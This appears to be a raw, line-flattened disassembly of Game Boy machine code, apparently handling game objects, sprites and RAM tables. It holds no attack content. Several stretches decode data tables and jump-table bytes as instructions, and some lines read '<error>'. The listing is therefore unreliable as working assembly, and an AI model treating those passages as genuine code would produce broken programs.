0.l_4581 jr nz, 0.l_4550 ld h, b jp .l_3609 ld c, h ld hl, $c380 add hl, bc ld a, [hl] and a jr nz, 0.l_4542 ldh a, [$ff00 + $f1] add a, $02 ldh [$ff00 + $f1], a ld de, $451e call func_3c3b ldh a, [$ff00 + $ea] cp $07 jr nz, 0.l_4561 ldh a, [$ff00 + $e7] and $1f jr nz, 0.l_4558 ld a, $13 ldh [$ff00 + $f3], a ldh a, [$ff00 + $e7] rr a rr a and $01 jp $3b87 call func_7965 call func_3beb call func_08e2 ldh a, [$ff00 + $f0] cp $03 jr z, 0.l_458a call func_7a0a ld hl, $c320 add hl, bc dec [hl] ld hl, $c310 add hl, bc ld a, [hl] and $80 ldh [$ff00 + $e8], a jr z, 0.l_458a xor a ld [hl], a ld hl, $c320 add hl, bc ld [hl], a ld hl, $c420 add hl, bc ld a, [hl] and a jr z, 0.l_45c9 cp $08 jr nz, 0.l_45c1 ld a, [$db73] and a jr z, 0.l_45b7 dec [hl] ld a, [$c16b] cp $04 jr nz, 0.l_45b7 call func_27ed and $3f jr nz, 0.l_45b2 ld a, $76 call func_218e jr 0.l_45b7 ld a, $8f call func_2197 ld hl, $c2b0 add hl, bc ld a, [hl] cp $23 jr z, 0.l_45c1 inc [hl] call func_3b8d ld a, $02 ld [hl], a ldh [$ff00 + $f0], a call func_3bd5 jr nc, 0.l_461b ldh a, [$ff00 + $f0] cp $03 jr z, 0.l_461b ld a, [$c19b] and a jr nz, 0.l_461b ld a, [$db00] cp $03 jr nz, 0.l_45e9 ldh a, [$ff00 + $cc] and $20 jr nz, 0.l_45f6 jr 0.l_461b ld a, [$db01] cp $03 jr nz, 0.l_461b ldh a, [$ff00 + $cc] and $10 jr z, 0.l_461b ld a, [$c3cf] and a jr nz, 0.l_461b inc a ld [$c3cf], a ld hl, $c280 add hl, bc ld [hl], $07 ld hl, $c490 add hl, bc ld [hl], b ldh a, [$ff00 + $9e] ld [$c15d], a call func_0891 ld [hl], $02 ld hl, $fff3 ld [hl], $02 ret ldh a, [$ff00 + $f0] rst 0 ld l, $46 ld l, a ld b, [hl] cp h ld b, [hl] ld e, e ld b, a nop inc b ld b, $04 nop <error> ld a, [$affc] call func_3b87 call func_0891 jr nz, 0.l_466e call func_27ed and $07 ld e, a ld d, b ld hl, $4626 add hl, de ld a, [hl] ld hl, $c240 add hl, bc ld [hl], a ld a, e and $04 ld hl, $c380 add hl, bc ld [hl], a call func_27ed and $07 ld e, a ld hl, $4626 add hl, de ld a, [hl] ld hl, $c250 add hl, bc ld [hl], a call func_0891 call func_27ed and $1f add a, $30 ld [hl], a call func_3b8d ret call func_79d1 call func_3b9e ldh a, [$ff00 + $e8] and a jr z, 0.l_4691 call func_0891 jr nz, 0.l_4686 ld [hl], $30 call func_3b8d ld [hl], b ret ld hl, $c320 add hl, bc ld [hl], $05 ld hl, $c310 add hl, bc inc [hl] ldh a, [$ff00 + $e7] rr a rr a rr a and $01 call func_3b87 ret jr z, 0.l_46e6 ld l, b adc a, b jr 0.l_46da ld e, b ld a, b nop nop nop nop and b and b and b and b nop nop nop nop sub a, b sub a, b sub a, b sub a, b jr nz, 0.l_46f6 ld h, b add a, b jr nz, 0.l_46fa ld h, b add a, b ld hl, $c310 add hl, bc ldh a, [$ff00 + $e7] xor c and $1f or [hl] jr nz, 0.l_46df ld a, $0c call func_3c30 ldh a, [$ff00 + $d7] cpl inc a ld hl, $c250 add hl, bc ld [hl], a ldh a, [$ff00 + $d8] cpl inc a ld hl, $c240 add hl, bc ld [hl], a call func_79d1 call func_3b9e ldh a, [$ff00 + $e7] rr a rr a and $01 call func_3b87 call func_7a24 ld hl, $c380 add hl, bc ld a, e xor $01 ld [hl], a ld hl, $c2b0 add hl, bc ld a, [hl] cp $23 jr nz, 0.l_475a ld hl, $dba5 ldh a, [$ff00 + $e7] and $0f or [hl] jr nz, 0.l_475a ld a, $6c ld e, $07 call func_3c13 jr c, 0.l_475a ld a, $13 ldh [$ff00 + $f3], a ld hl, $c290 add hl, de ld [hl], $03 ld hl, $c310 add hl, de ld [hl], $10 ld hl, $c340 add hl, de ld [hl], $12 ld hl, $c350 add hl, de ld [hl], $80 ld hl, $c430 add hl, de ld [hl], $40 push bc call func_27ed and $0f ld c, a ld hl, $469c add hl, bc ld a, [hl] ld hl, $c200 add hl, de ld [hl], a ld hl, $46ac add hl, bc ld a, [hl] ld hl, $c210 add hl, de ld [hl], a push de pop bc ld a, $18 call func_3c25 pop bc ret call func_3bbf call func_79d1 ldh a, [$ff00 + $ee] cp $a9 jp nc, $7a6b ldh a, [$ff00 + $ec] cp $91 jp nc, $7a6b ldh a, [$ff00 + $e7] rr a rr a and $01 call func_3b87 ld e, $00 ld hl, $c240 add hl, bc ld a, [hl] and $80 jr z, 0.l_4784 inc e ld hl, $c380 add hl, bc ld [hl], e jp .l_29c5 ret ldh a, [$ff00 + $00] ld h, b nop ldh a, [$ff00 + $08] ld h, d nop nop nop ld h, h nop nop ld [$0066], sp ldh a, [$ff00 + $00] ld l, b nop ldh a, [$ff00 + $08] ld l, d nop nop nop ld l, h nop nop ld [$006e], sp ldh a, [$ff00 + $00] ld h, d jr nz, 0.l_47a2 ld [$2060], sp nop nop ld h, [hl] jr nz, 0.l_47ba ld [$2064], sp ldh a, [$ff00 + $00] ld l, b nop ldh a, [$ff00 + $08] ld l, d nop nop nop ld l, h nop nop ld [$006e], sp ldh a, [$ff00 + $f1] rl a rl a rl a rl a and $f0 ld e, a ld d, b ld hl, $478d add hl, de ld c, $04 call func_3d26 ret call func_47cd ld hl, $c3d0 add hl, bc inc [hl] ld a, [hl] rr a rr a rr a rr a and $03 call func_3b87 call func_5409 ldh a, [$ff00 + $f0] rst 0 inc bc ld c, b ld d, c ld c, b ld h, e ld c, b sbc a, b ld c, b ret nz ld c, b ld a, [$c19f] and a jr nz, 0.l_4844 ld a, [$db4b] and a jr z, 0.l_483b call func_544c ld a, e and a jr z, 0.l_4844 ld hl, $db00 ld a, [hl] cp $0c jr nz, 0.l_482d ldh a, [$ff00 + $cc] and $20 jr z, 0.l_4844 xor a ld [$c1a9], a ld [$c1a8], a jr 0.l_4838 inc hl ld a, [hl] cp $0c jr nz, 0.l_483b ldh a, [$ff00 + $cc] and $10 ret z ld [hl], b jr 0.l_4845 call func_544c ret nc ld a, $0c call func_2197 ret xor a ld [$db4b], a call func_0891 ld [hl], $04 jp $3b8d call func_0891 ret nz ld a, $09 call func_2197 call func_0891 ld [hl], $c0 call func_3b8d ret ld a, [$c19f] and a jr nz, 0.l_4897 ld a, [$c10b] and a jr nz, 0.l_4879 ldh a, [$ff00 + $b0] ld [$d368], a ld a, $01 ld [$c10b], a ldh [$ff00 + $a1], a ld hl, $c3d0 add hl, bc inc [hl] inc [hl] inc [hl] inc [hl] call func_0891 ret nz ld [$c10b], a ldh a, [$ff00 + $b0] ld [$d368], a ld a, $fe call func_2197 call func_3b8d ret ld a, [$c19f] and a ret nz ld a, $2a ld [$c1aa], a ld a, $03 ld [$c1a9], a ld d, $0c call func_5261 ld a, [$db4c] add a, $20 daa ld [$db4c], a ld a, $0b ldh [$ff00 + $a5], a ld a, $01 ldh [$ff00 + $f2], a call func_3b8d ret ld a, b nop ld a, d nop ld a, d jr nz, 0.l_4940 jr nz, 0.l_4946 nop ld a, [hl] nop ld a, b nop ld a, d nop ld [hl], b nop ld [hl], d nop ld [hl], h nop halt nop halt jr nz, 0.l_4950 jr nz, 0.l_4950 jr nz, 0.l_4950 jr nz, 0.l_493c jr nz, 0.l_493c jr nz, 0.l_493e nop ld e, d nop ld d, b nop ld d, d nop ld d, b nop ld d, d nop ld d, h nop ld d, [hl] nop nop nop jr nz, 0.l_48f9 nop ld [$0022], sp nop nop jr nz, 0.l_4901 nop ld [$0022], sp pop af ld a, [$002a] pop af ld [bc], a ldi a, [hl] jr nz, 0.l_490e nop inc h nop nop ld [$0028], sp ld a, [$db95] cp $01 jr nz, 0.l_4940 ld hl, $c340 add hl, bc ld [hl], $c4 ld hl, $c3d0 add hl, bc ld a, [hl] ld hl, $48f5 cp $70 jr nz, 0.l_4931 ld hl, $4905 ld c, $04 call func_3d26 ld hl, $c3d0 add hl, bc ld a, [hl] cp $70 ret z inc [hl] ret ld a, [$dba5] and a jp nz, .l_4b68 ldh a, [$ff00 + $f8] and $10 jp nz, $7a6b ldh a, [$ff00 + $f0] and a jr nz, 0.l_497c ldh a, [$ff00 + $e7] rr a rr a rr a rr a and $01 call func_3b87 ldh a, [$ff00 + $99] cp $30 jr nc, 0.l_4977 ld a, $01 ld [$c10c], a ldh a, [$ff00 + $e7] rr a rr a rr a and $01 add a, $02 call func_3b87 jr 0.l_497c ld hl, $c440 add hl, bc ld [hl], b ld de, $48c1 call func_3c3b call func_7965 ldh a, [$ff00 + $f0] rst 0 sub a, b ld c, c jp nz, .l_ec49 ld c, d ldd [hl], a ld c, e call func_5409 ldh a, [$ff00 + $99] cp $20 jr nc, 0.l_49a8 ld hl, $c440 add hl, bc ld a, [hl] and a jr nz, 0.l_49a8 ld [hl], $01 ld a, $21 jp $2197 call func_544c jr nc, 0.l_49b7 ld a, [$c19b] and a ret nz ld a, $0d jp $2197 ld hl, $c1ad ld [hl], b ret nop inc b dec b ld b, $07 ld bc, $023e ldh [$ff00 + $a1], a xor a ld [$c19b], a call func_7a44 ld a, e xor $01 ldh [$ff00 + $9e], a push bc call func_087c pop bc ld hl, $c2d0 add hl, bc ld e, [hl] ld hl, $c2c0 add hl, bc ld a, [hl] add a, e ld [hl], a jr nc, 0.l_49f1 ld hl, $c390 add hl, bc ld a, [hl] inc a cp $06 jr nz, 0.l_49f0 xor a ld [hl], a ld hl, $c390 add hl, bc ld e, [hl] ld d, b ld hl, $49bc add hl, de ld a, [hl] call func_3b87 call func_0887 jr nz, 0.l_4a49 ld a, $02 call func_3c01 ldh a, [$ff00 + $d7] ld hl, $c200 add hl, de ld [hl], a ldh a, [$ff00 + $d8] ld hl, $c210 add hl, de ld [hl], a ldh a, [$ff00 + $da] ld hl, $c310 add hl, de ld [hl], a ld hl, $c440 add hl, de ld [hl], $4c ld hl, $c2e0 add hl, de ld [hl], $20 ld a, $09 call func_3b87 ld hl, $c320 add hl, bc ld [hl], b call func_3b8d ldh a, [$ff00 + $f6] ld e, a ld d, b ld hl, $d800 add hl, de ld a, [hl] or $10 ld [hl], a ld a, $01 ld [$db48], a ret ld hl, $c2d0 add hl, bc ldh a, [$ff00 + $e7] and $01 jr nz, 0.l_4a59 ld a, [hl] cp $f0 jr nc, 0.l_4a59 inc [hl] call func_79d1 call func_3b9e call func_0887 cp $06 jr nc, 0.l_4a97 ldh a, [$ff00 + $ef] cp $30 jr nc, 0.l_4a70 ld [hl], $08 jr 0.l_4a97 ld hl, $c320 add hl, bc inc [hl] nop ld hl, $c240 add hl, bc ld a, [hl] and a jr z, 0.l_4a85 and $80 jr z, 0.l_4a84 inc [hl] inc [hl] dec [hl] ld hl, $c250 add hl, bc ld a, [hl] and a jr z, 0.l_4a94 and $80 jr z, 0.l_4a93 inc [hl] inc [hl] dec [hl] jp $7a0a ld hl, $c2a0 add hl, bc ld a, [hl] and $03 jr z, 0.l_4aac ld hl, $c240 add hl, bc ld a, [hl] cpl inc a ld [hl], a ld a, $09 ldh [$ff00 + $f2], a ld hl, $c2a0 add hl, bc ld a, [hl] and $0c jr z, 0.l_4ac1 ld hl, $c250 add hl, bc ld a, [hl] cpl inc a ld [hl], a ld a, $09 ldh [$ff00 + $f2], a call func_0887 cp $60 jr nc, 0.l_4aeb ldh a, [$ff00 + $e7] and $03 jr nz, 0.l_4aeb ld hl, $c240 call func_4ad7 ld hl, $c250 add hl, bc ld a, [hl] cp $30 jr z, 0.l_4aeb cp $d0 jr z, 0.l_4aeb ld e, $01 bit 7, a jr z, 0.l_4ae9 ld e, $ff add a, e ld [hl], a ret call func_7a0a ld hl, $c320 add hl, bc dec [hl] ld hl, $c310 add hl, bc ld a, [hl] and $80 jr z, 0.l_4b31 ld [hl], b xor a ld [$c167], a ld a, $23 ldh [$ff00 + $f2], a call func_27bd call func_0891 ld [hl], $40 call func_7a44 add a, $08 call func_3b87 call func_7a24 add a, $12 cp $24 jr nc, 0.l_4b2e call func_7a34 add a, $12 cp $24 jr nc, 0.l_4b2e ld hl, $c2b0 add hl, bc ld [hl], $01 call func_3b8d ret call func_0891 cp $01 jr nz, 0.l_4b3f ld a, $0a call func_2197 ret and a jr nz, 0.l_4b65 ldh a, [$ff00 + $e7] and $1f jr nz, 0.l_4b50 call func_7a44 add a, $08 call func_3b87 ld hl, $c2b0 add hl, bc ld a, [hl] and a jr nz, 0.l_4b5b call func_5409 call func_544c jr nc, 0.l_4b65 ld a, $0b call func_2197 ret ld a, b nop ld hl, $c2c0 add hl, bc ld a, [hl] and a jr z, 0.l_4b98 ld de, $4b66 call func_3cd0 call func_7965 call func_79d1 call func_0891 jp z, $7a6b and $10 ld e, $01 jr z, 0.l_4b8a ld e, $ff ldh a, [$ff00 + $e7] and $01 jr nz, 0.l_4b97 ld hl, $c240 add hl, bc ld a, [hl] add a, e ld [hl], a ret ld a, [$db73] and a jr nz, 0.l_4bae ld a, [$db67] and $02 jp nz, $7a6b ld a, [$db0e] cp $04 jp nc, $7a6b ld a, [$db48] and a jr nz, 0.l_4bbb ld a, [$db4e] and a jp nz, $7a6b ld a, [$db73] and a jr nz, 0.l_4bcb ld a, [$db48] and a jr z, 0.l_4bdf cp $01 jr nz, 0.l_4bdf ld hl, $c200 add hl, bc ld [hl], $18 ld hl, $c210 add hl, bc ld [hl], $34 call func_3dba ld de, $48f1 jr 0.l_4bf3 call func_4d52 ldh a, [$ff00 + $e7] and $1f jr nz, 0.l_4bf0 call func_7a44 ld hl, $c3b0 add hl, bc ld [hl], e ld de, $48e1 call func_3c3b call func_7965 call func_5409 ldh a, [$ff00 + $f0] rst 0 add hl, bc ld c, h ldd [hl], a ld c, h ld c, b ld c, h adc a, c ld c, h ld h, $4d ld a, [$db44] and a jr z, 0.l_4c15 call func_3b8d ld [hl], $03 ret ldh a, [$ff00 + $99] cp $7b jr c, 0.l_4c24 sub a, $02 ldh [$ff00 + $99], a ld a, $00 jp $2197 call func_544c jr nc, 0.l_4c31 ld a, $54 call func_2197 call func_3b8d ret ld a, [$c19f] and a jr nz, 0.l_4c45 call func_0891 ld [hl], $80 ld a, $10 ld [$d368], a call func_3b8d ret add a, [hl] stop call func_0891 jr nz, 0.l_4c66 ld [$c167], a ld d, $04 call func_5261 ld a, $01 ld [$db44], a ld a, $22 ldh [$ff00 + $9d], a ld a, $91 call func_2197 jp $3b8d ldh a, [$ff00 + $98] ldh [$ff00 + $ee], a ldh a, [$ff00 + $99] sub a, $0c ldh [$ff00 + $ec], a xor a ldh [$ff00 + $f1], a ld de, $4c46 call func_3cd0 call func_3dba ld a, $6c ldh [$ff00 + $9d], a ld a, $02 ldh [$ff00 + $a1], a ld a, $03 ldh [$ff00 + $9e], a ret ld a, [$db48] and a jr z, 0.l_4cce cp $01 jr z, 0.l_4cb9 call func_544c jr nc, 0.l_4cac ld a, [$db73] and a ld a, $dd jr nz, 0.l_4cb5 ld a, [$db0e] cp $03 jr nz, 0.l_4cb3 ld a, $c5 call func_2185 ld a, [$db73] and a jr nz, 0.l_4ce0 ret ld a, $c5 call func_2185 ret call func_544c jr nc, 0.l_4ccc ld a, [$db65] bit 1, a ld a, $11 jr z, 0.l_4cc9 ld a, $10 call func_2197 jr 0.l_4cd9 call func_544c jr nc, 0.l_4cd8 ld a, $55 call func_2197 ret ld a, [$db48] cp $01 jr nz, 0.l_4d25 ld hl, $c3d0 add hl, bc ld a, [hl] add a, $07 ld [hl], a jr nc, 0.l_4d25 ld a, $3f call func_3c01 ldh a, [$ff00 + $d7] add a, $06 ld hl, $c200 add hl, de ld [hl], a ldh a, [$ff00 + $d8] sub a, $03 ld hl, $c210 add hl, de ld [hl], a ld hl, $c2c0 add hl, de ld [hl], $01 ld hl, $c240 add hl, de ld [hl], $ff ld hl, $c250 add hl, de ld [hl], $fd ld hl, $c2e0 add hl, de ld [hl], $30 ld hl, $c340 add hl, de ld [hl], $c1 ld hl, $c350 add hl, de ld [hl], $00 ret ld a, [$c19f] and a jr nz, 0.l_4d49 ld a, [$c177] and a jr nz, 0.l_4d40 ld a, $04 ld [$db0e], a ld a, $0d ldh [$ff00 + $a5], a call func_0898 jr 0.l_4d45 ld a, $c9 call func_2185 call func_3b8d ld [hl], b ret ld [hl], h nop halt nop ld [hl], b nop ld [hl], d nop ld a, [$db48] cp $02 ret nz ld a, [$db0e] cp $04 jr nc, 0.l_4d66 ld a, $78 ld de, $4d4a jr 0.l_4d76 ldh a, [$ff00 + $f8] and $20 ret z ld hl, $c210 add hl, bc ld [hl], $4b ld de, $4d4e ld a, $7c ldh [$ff00 + $ee], a ld a, $5c ldh [$ff00 + $ec], a xor a ldh [$ff00 + $f1], a call func_3c3b call func_3dba ld hl, $c3b0 add hl, bc ld a, [hl] ldh [$ff00 + $f1], a ret ld h, b nop ld h, d nop ld h, d jr nz, 0.l_4df4 jr nz, 0.l_4dfa nop ld h, [hl] nop ld h, [hl] jr nz, 0.l_4e00 jr nz, 0.l_4e06 nop ld l, d nop ld l, h nop ld l, [hl] nop ld l, d jr nz, 0.l_4e10 jr nz, 0.l_4e18 jr nz, 0.l_4e18 jr nz, 0.l_4e16 nop ld l, d nop ld l, d jr nz, 0.l_4e1c jr nz, 0.l_4e1c nop ld h, [hl] jr nz, 0.l_4e20 nop ld h, [hl] jr nz, 0.l_4e2a nop ld l, [hl] nop ld l, h nop ld l, [hl] nop ld l, [hl] jr nz, 0.l_4e34 jr nz, 0.l_4e38 jr nz, 0.l_4e38 jr nz, 0.l_4e2e nop ld h, d nop ld h, h nop ld h, h jr nz, 0.l_4e38 jr nz, 0.l_4e38 jr nz, 0.l_4de2 ld [$0908], sp ld a, [bc] ld a, [bc] ld a, [bc] add hl, bc ld [$06f8], sp ld bc, $95fa <error> cp $01 jp z, .l_4e4e ld a, [$db73] and a jp nz, $7a6b ld a, [$dba5] and a jp nz, .l_511d ld a, [$db4e] and a jp z, $7a6b ldh a, [$ff00 + $f6] cp $c0 jr c, 0.l_4e0a jr 0.l_4e19 ld a, [$d808] and $10 jr nz, 0.l_4e19 ld a, [$db0e] cp $07 jp nc, $7a6b ldh a, [$ff00 + $e7] and $1f jr nz, 0.l_4e3f ld hl, $c380 add hl, bc ld [hl], $03 call func_7a24 add a, $14 cp $28 jr nc, 0.l_4e3f call func_7a34 add a, $14 cp $28 jr nc, 0.l_4e3f call func_7a44 ld hl, $c380 add hl, bc ld [hl], e call func_5430 ld a, [$c3c8] cp $01 jr nz, 0.l_4ea7 call func_088c jr nz, 0.l_4ea7 ldh a, [$ff00 + $e7] rr a rr a rr a rr a and $07 ld e, a ld d, b ld hl, $4dd9 add hl, de ld a, [hl] ldh [$ff00 + $f1], a ldh a, [$ff00 + $e7] add a, $10 and $1f jr nz, 0.l_4ea7 ld a, $c9 call func_3c01 jr c, 0.l_4ea7 ldh a, [$ff00 + $d8] ld hl, $c210 add hl, de sub a, $08 ld [hl], a push bc ldh a, [$ff00 + $e7] add a, $10 rr a rr a rr a rr a rr a and $01 ld c, a ld hl, $4de1 add hl, bc ldh a, [$ff00 + $d7] add a, [hl] ld hl, $c200 add hl, de ld [hl], a ld hl, $4de3 add hl, bc ld a, [hl] ld hl, $c240 add hl, de ld [hl], a ld hl, $c250 add hl, de ld [hl], $fc ld hl, $c3d0 add hl, de ld [hl], $40 pop bc ld a, c ld [$c50f], a ld de, $4dad call func_3c3b call func_5409 ldh a, [$ff00 + $f0] rst 0 jp .l_844e ld c, a cp l ld c, a adc a, h ld d, b cp b ld d, b dec bc ld d, c ldh a, [$ff00 + $f6] cp $c0 jr nc, 0.l_4ed0 ld a, [$c3c8] and a jp nz, .l_4f83 call func_544c jp nc, .l_4f83 ld a, [$d808] and $10 jr z, 0.l_4f0a ld hl, $d892 ld a, [hl] and $40 jr nz, 0.l_4eec set 6, [hl] ld a, $94 jp $2185 ld a, [$db49] and $04 jr z, 0.l_4ef8 ld a, $95 jp $2185 ld e, $0b ld hl, $db00 ldi a, [hl] cp $09 jr z, 0.l_4f0a dec e ld a, e cp $ff jr nz, 0.l_4efd jr 0.l_4ef3 call func_088c ld [hl], $10 ld d, $2f ld e, $03 ld a, [$db48] and a jr z, 0.l_4f5e ld e, $06 cp $02 jr nz, 0.l_4f33 ld e, $05 ldh a, [$ff00 + $f6] cp $c0 jr c, 0.l_4f33 push de call func_27bd pop de ld hl, $c2d0 add hl, bc ld [hl], b ld e, $92 push bc ld c, $0b ld hl, $db00 ldi a, [hl] cp $09 jr nz, 0.l_4f57 ld e, $04 ld d, $4a ld a, [$db49] and $04 jr z, 0.l_4f5d ld e, $05 ld d, $2f ldh a, [$ff00 + $f6] cp $c0 jr c, 0.l_4f5d ld e, $92 jr 0.l_4f5d dec c ld a, c cp $ff jr nz, 0.l_4f39 pop bc ld a, e cp $80 jr c, 0.l_4f68 call func_2185 jr 0.l_4f6b call func_2197 ldh a, [$ff00 + $f6] cp $c0 jr c, 0.l_4f7b ld hl, $c2d0 add hl, bc ld [hl], b push de call func_27bd pop de ld hl, $c440 add hl, bc ld [hl], d call func_3b8d ret call func_7965 ld hl, $c440 add hl, bc ld d, [hl] ld hl, $c2d0 add hl, bc ld a, [hl] and a ld a, d jr nz, 0.l_4fa2 inc [hl] ld [$d368], a ldh [$ff00 + $b0], a ldh [$ff00 + $bd], a ld hl, $c3c8 ld [hl], $01 cp $4a jr nz, 0.l_4fb8 ld a, [$db49] and $04 jr nz, 0.l_4fb8 call func_3b8d xor a ld [$d210], a ld [$d211], a ret call func_3b8d ld [hl], b ret ld a, $02 ldh [$ff00 + $a1], a push bc call func_087c pop bc ld a, [$d211] cp $07 jr nz, 0.l_4feb ld a, [$d210] cp $e8 jr nz, 0.l_4feb ld a, $16 call func_2197 push bc call func_087c pop bc xor a ld [$d210], a ld [$d211], a call func_27d2 jp $3b8d call func_7a44 ld a, e xor $01 ldh [$ff00 + $9e], a ld a, [$d210] add a, $01 ld [$d210], a ld e, a ld a, [$d211] adc a, $00 ld [$d211], a ld d, a ld a, [$d211] cp $07 jr nz, 0.l_5018 ld a, [$d210] cp $e0 jr c, 0.l_5018 xor a ld [$c3c8], a ret ld hl, $c3c8 ld [hl], $01 ld a, e srl d rr a srl d rr a srl d rr a srl d rr a cp $1d jr c, 0.l_5033 cp $3b jr nc, 0.l_5033 inc [hl] cp $1d ret c ld a, $00 ldh [$ff00 + $9d], a ldh a, [$ff00 + $e7] ld e, $75 and $40 jr z, 0.l_5043 inc e ld a, e ldh [$ff00 + $9d], a ldh a, [$ff00 + $e7] and $1f jr nz, 0.l_508b ld a, $c9 call func_3c01 jr c, 0.l_508b ldh a, [$ff00 + $99] ld hl, $c210 add hl, de sub a, $08 ld [hl], a push bc ldh a, [$ff00 + $e7] rr a rr a rr a rr a rr a and $01 ld c, a ld b, d ld hl, $4de1 add hl, bc ldh a, [$ff00 + $98] add a, [hl] ld hl, $c200 add hl, de ld [hl], a ld hl, $4de3 add hl, bc ld a, [hl] ld hl, $c240 add hl, de ld [hl], a pop bc ld hl, $c250 add hl, de ld [hl], $fc ld hl, $c3d0 add hl, de ld [hl], $40 ret ld a, [$c19f] and a jr nz, 0.l_50b5 call func_3b8d ld a, [$c177] and a jr nz, 0.l_50a6 ld a, $10 ld [$d368], a call func_0891 ld [hl], $80 ret ld a, $15 call func_2197 call func_3b8d ld [hl], $01 ld hl, $c2d0 add hl, bc ld [hl], b ret sub a, b stop call func_0891 jr nz, 0.l_50e5 ld a, [$c19f] and a ret nz ld hl, $db49 set 2, [hl] xor a ld [$db4a], a call func_3b8d ldh a, [$ff00 + $f6] cp $c0 jr c, 0.l_50d5 ld [hl], b ldh a, [$ff00 + $f6] cp $c0 jr nc, 0.l_50e0 ld a, $14 jp $2197 ld a, $93 jp $2185 cp $08 jr nz, 0.l_50ef dec [hl] ld a, $13 call func_2197 ld a, $6c ldh [$ff00 + $9d], a ld a, $02 ldh [$ff00 + $a1], a ldh a, [$ff00 + $98] ldh [$ff00 + $ee], a ldh a, [$ff00 + $99] sub a, $0c ldh [$ff00 + $ec], a ld de, $50b6 xor a ldh [$ff00 + $f1], a call func_3cd0 ret ld a, [$c19f] and a ret nz call func_544c ret nc ld a, $97 jp $2185 ld e, h nop ld e, h jr nz, 0.l_5118 ld c, $db cp $07 jr c, 0.l_514c ld a, [$d8fd] and $30 jp nz, $7a6b ld hl, $c210 add hl, bc ld [hl], $60 ld hl, $c200 add hl, bc ld [hl], $7a ld de, $5119 call func_3c3b call func_7965 call func_544c jr nc, 0.l_514b ld a, $d7 call func_2185 ret ld a, [$db4e] and a jp nz, $7a6b ld a, [$db44] and a jr z, 0.l_5162 ld hl, $c290 add hl, bc ld a, $03 ld [hl], a ldh [$ff00 + $f0], a ldh a, [$ff00 + $f0] and a jr nz, 0.l_5189 call func_0887 ld [hl], $7f ld hl, $c380 add hl, bc ld [hl], $01 ld hl, $c200 add hl, bc ld a, [hl] sub a, $08 ld [hl], a ld hl, $c210 add hl, bc ld a, [hl] sub a, $08 ld [hl], a ld [$c167], a call func_3b8d ret ldh a, [$ff00 + $e7] and $1f jr nz, 0.l_5197 call func_7a44 ld hl, $c380 add hl, bc ld [hl], e call func_5430 ld de, $4d8d call func_3c3b ldh a, [$ff00 + $f0] dec a rst 0 sbc a, $51 add hl, de ld d, d ld d, b ld d, d ld b, b nop ld b, d nop ld b, d jr nz, 0.l_51f1 jr nz, 0.l_51f7 nop ld b, [hl] nop ld c, b nop ld c, d nop ld c, b nop ld c, h nop inc bc inc bc inc bc inc bc inc bc inc b inc bc inc b inc bc inc bc inc bc ld [bc], a ld [bc], a ld [bc], a ld [bc], a ld [bc], a nop nop ld bc, $0001 nop ld bc, $0001 nop ld bc, $0001 nop ld bc, $cd01 add a, a ld [$0b20], sp ld a, $01 call func_2197 ld [hl], $40 call func_3b8d xor a rr a rr a and $1f ld e, a ld d, b ld hl, $51be add hl, de ld a, [hl] ldh [$ff00 + $f1], a ld a, $38 ldh [$ff00 + $ee], a ldh [$ff00 + $98], a ld a, $34 ldh [$ff00 + $ec], a ldh [$ff00 + $99], a ld a, $02 ldh [$ff00 + $a1], a ld a, $ff ldh [$ff00 + $9d], a ld de, $51aa call func_3c3b call func_3dba ret ld a, $03 call func_51f9 call func_0891 ld hl, $c19f or [hl] jr nz, 0.l_524f ldh a, [$ff00 + $cb] and $0f jr z, 0.l_524f call func_3b8d ld a, $01 ldh [$ff00 + $a2], a ld a, $02 ld [$c146], a ld a, $12 ldh [$ff00 + $a3], a ld a, $0c ldh [$ff00 + $9a], a xor a ldh [$ff00 + $9b], a ld a, $00 ldh [$ff00 + $9e], a ldh [$ff00 + $a1], a ld a, $01 ld [$c10a], a ret call func_7965 call func_5409 call func_544c jr nc, 0.l_5260 ld a, $02 call func_2197 ret ld hl, $db00 ld e, $0c ldi a, [hl] cp d jr z, 0.l_527d dec e jr nz, 0.l_5266 ld hl, $db00 ld a, [hl] and a jr nz, 0.l_5276 ld [hl], d ret inc hl inc e ld a, e cp $0c jr nz, 0.l_5270 ret ld h, b nop ld h, d nop ld h, d jr nz, 0.l_52e5 jr nz, 0.l_52eb nop ld h, [hl] nop ld h, [hl] jr nz, 0.l_52f1 jr nz, 0.l_52f7 nop ld l, d nop ld l, h nop ld l, [hl] nop ld l, d jr nz, 0.l_5301 jr nz, 0.l_5309 jr nz, 0.l_5309 jr nz, 0.l_5299 and l <error> and a jr z, 0.l_5322 ldh a, [$ff00 + $e7] and $1f jr nz, 0.l_52b2 call func_7a44 ld hl, $c380 add hl, bc ld [hl], e call func_5430 ld de, $527e call func_3c3b call func_7965 call func_5409 ldh a, [$ff00 + $f0] rst 0 jp z, .l_de52 ld d, d rrc a ld d, e ld a, [$d477] and a jr nz, 0.l_530f call func_544c jr nc, 0.l_52dd ld a, $f0 call func_2197 call func_3b8d ret ld a, [$c19f] and a jr nz, 0.l_5308 call func_3b8d ld a, [$c177] and a jr z, 0.l_52ef ld [hl], b ret ld a, [$db5e] sub a, $00 ld a, [$db5d] sbc a, $01 jr c, 0.l_5309 ld a, $64 ld [$db92], a ld a, $f1 ld [$d477], a call func_2197 ret ld [hl], b ld a, $4e jp $2197 call func_544c jr nc, 0.l_5319 ld a, $f1 call func_2197 ret ld e, h nop ld e, h jr nz, 0.l_537d nop ld e, [hl] jr nz, 0.l_5344 ld b, b call nz, func_fa09 ld [hl], a call nc, func_20b6 dec hl ld e, $0f ld d, b ld a, e cp c jr z, 0.l_5345 ld hl, $c280 add hl, de ld a, [hl] and a jr z, 0.l_5345 ld hl, $c3a0 add hl, de ld a, [hl] cp $6a jp z, $7a6b dec e ld a, e cp $ff jr nz, 0.l_532f ld de, $531a call func_3c3b call func_7965 jp $5409 ldh a, [$ff00 + $e7] rr a rr a rr a rr a and $01 call func_3b87 ldh a, [$ff00 + $98] ld hl, $ffee sub a, [hl] add a, $10 cp $20 jr nc, 0.l_5386 ldh a, [$ff00 + $99] ld hl, $ffef sub a, [hl] add a, $14 cp $1c jr nc, 0.l_5386 ld a, $80 ld [$c1ad], a ldh a, [$ff00 + $98] ld hl, $c200 add hl, bc ld [hl], a ld a, [$c11f] and a jr z, 0.l_5392 call func_3b8d ld [hl], b jr 0.l_53cd ldh a, [$ff00 + $f0] rst 0 sbc a, e ld d, e or d ld d, e sub a, $53 call func_7a24 add a, $08 cp $10 jr nc, 0.l_53b0 call func_7a34 add a, $09 cp $12 jr nc, 0.l_53b0 call func_3b8d jr 0.l_53cd ldh a, [$ff00 + $ee] ldh [$ff00 + $98], a ldh a, 